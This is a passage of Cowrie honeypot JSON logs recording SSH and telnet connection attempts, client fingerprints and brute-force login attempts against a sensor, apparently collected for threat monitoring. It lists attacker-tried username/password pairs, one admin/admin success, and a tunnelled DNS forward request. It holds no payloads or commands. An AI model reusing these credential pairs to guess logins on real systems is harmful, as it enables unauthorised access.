2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:28.448667Z","src_ip":"87.251.64.176","session":"1fdfbef6a93c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:28.731265Z","src_ip":"87.251.64.176","session":"1fdfbef6a93c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:28.832885Z","session":"1fdfbef6a93c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:28.930266Z","src_ip":"87.251.64.176","session":"1fdfbef6a93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:29.029179Z","src_ip":"87.251.64.176","session":"1fdfbef6a93c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49254,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c8f7f74697","protocol":"telnet","message":"New connection: 69.4.83.194:49254 (159.203.135.109:23) [session: 32c8f7f74697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:33.437619Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51354,"dst_ip":"159.203.135.109","dst_port":23,"session":"30415b4979cf","protocol":"telnet","message":"New connection: 69.4.83.194:51354 (159.203.135.109:23) [session: 30415b4979cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:40.063903Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53132,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11f2f80e839","protocol":"telnet","message":"New connection: 69.4.83.194:53132 (159.203.135.109:23) [session: e11f2f80e839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:42.975403Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":51368,"dst_ip":"159.203.135.109","dst_port":22,"session":"750d7fb5f5f4","protocol":"ssh","message":"New connection: 101.79.165.133:51368 (159.203.135.109:22) [session: 750d7fb5f5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:49.877274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:49.883044Z","src_ip":"101.79.165.133","session":"750d7fb5f5f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:50.106922Z","src_ip":"101.79.165.133","session":"750d7fb5f5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:51.032830Z","src_ip":"101.79.165.133","session":"750d7fb5f5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:52.259007Z","src_ip":"101.79.165.133","session":"750d7fb5f5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.537007093429565,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:56.031734Z","src_ip":"69.4.83.194","session":"9821d74c84d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:47:57.385589Z","src_ip":"213.183.120.56","session":"3f3c2ba9cf33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.951759815216064,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:07.389267Z","src_ip":"69.4.83.194","session":"32c8f7f74697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":41920,"dst_ip":"10.17.0.5","dst_port":22,"session":"30e92983ebbf","protocol":"ssh","message":"New connection: 103.176.20.57:41920 (10.17.0.5:22) [session: 30e92983ebbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:09.821515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:09.825602Z","src_ip":"103.176.20.57","session":"30e92983ebbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:10.082504Z","src_ip":"103.176.20.57","session":"30e92983ebbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnhjbntkm","message":"login attempt [root/cnhjbntkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:10.850534Z","src_ip":"103.176.20.57","session":"30e92983ebbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:12.107191Z","src_ip":"103.176.20.57","session":"30e92983ebbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.555708169937134,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:13.619515Z","src_ip":"69.4.83.194","session":"30415b4979cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26933670043945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:15.244642Z","src_ip":"69.4.83.194","session":"e11f2f80e839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":48446,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77732567817","protocol":"ssh","message":"New connection: 69.6.221.248:48446 (159.203.135.109:22) [session: b77732567817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:18.309460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:18.313635Z","src_ip":"69.6.221.248","session":"b77732567817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:18.427060Z","src_ip":"69.6.221.248","session":"b77732567817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf@123123","message":"login attempt [root/asdf@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:18.912604Z","src_ip":"69.6.221.248","session":"b77732567817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:20.030004Z","src_ip":"69.6.221.248","session":"b77732567817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":44464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e8f3fb80090","protocol":"ssh","message":"New connection: 4.194.4.255:44464 (159.203.135.109:22) [session: 5e8f3fb80090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:24.413529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:24.418770Z","src_ip":"4.194.4.255","session":"5e8f3fb80090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:24.655585Z","src_ip":"4.194.4.255","session":"5e8f3fb80090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:25.634637Z","src_ip":"4.194.4.255","session":"5e8f3fb80090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:26.876685Z","src_ip":"4.194.4.255","session":"5e8f3fb80090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":45222,"dst_ip":"159.203.135.109","dst_port":22,"session":"953405d1d731","protocol":"ssh","message":"New connection: 143.198.221.127:45222 (159.203.135.109:22) [session: 953405d1d731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:30.041081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:30.047991Z","src_ip":"143.198.221.127","session":"953405d1d731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:30.294838Z","src_ip":"143.198.221.127","session":"953405d1d731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lenovo@123","message":"login attempt [root/Lenovo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:31.312219Z","src_ip":"143.198.221.127","session":"953405d1d731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:32.559951Z","src_ip":"143.198.221.127","session":"953405d1d731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":36408,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aebfe44125e","protocol":"ssh","message":"New connection: 182.18.161.165:36408 (159.203.135.109:22) [session: 3aebfe44125e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:33.364420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:33.370807Z","src_ip":"182.18.161.165","session":"3aebfe44125e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:33.576979Z","src_ip":"182.18.161.165","session":"3aebfe44125e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ventas05","password":"123456","message":"login attempt [ventas05/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:34.404773Z","src_ip":"182.18.161.165","session":"3aebfe44125e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:35.618234Z","src_ip":"182.18.161.165","session":"3aebfe44125e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":54864,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8adf9ed990e","protocol":"ssh","message":"New connection: 213.183.120.56:54864 (159.203.135.109:22) [session: c8adf9ed990e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:42.482122Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":37016,"dst_ip":"159.203.135.109","dst_port":22,"session":"574ba84a80da","protocol":"ssh","message":"New connection: 27.50.25.190:37016 (159.203.135.109:22) [session: 574ba84a80da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:53.742915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:53.747236Z","src_ip":"27.50.25.190","session":"574ba84a80da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:48:53.976803Z","src_ip":"27.50.25.190","session":"574ba84a80da","protocol":"ssh"}
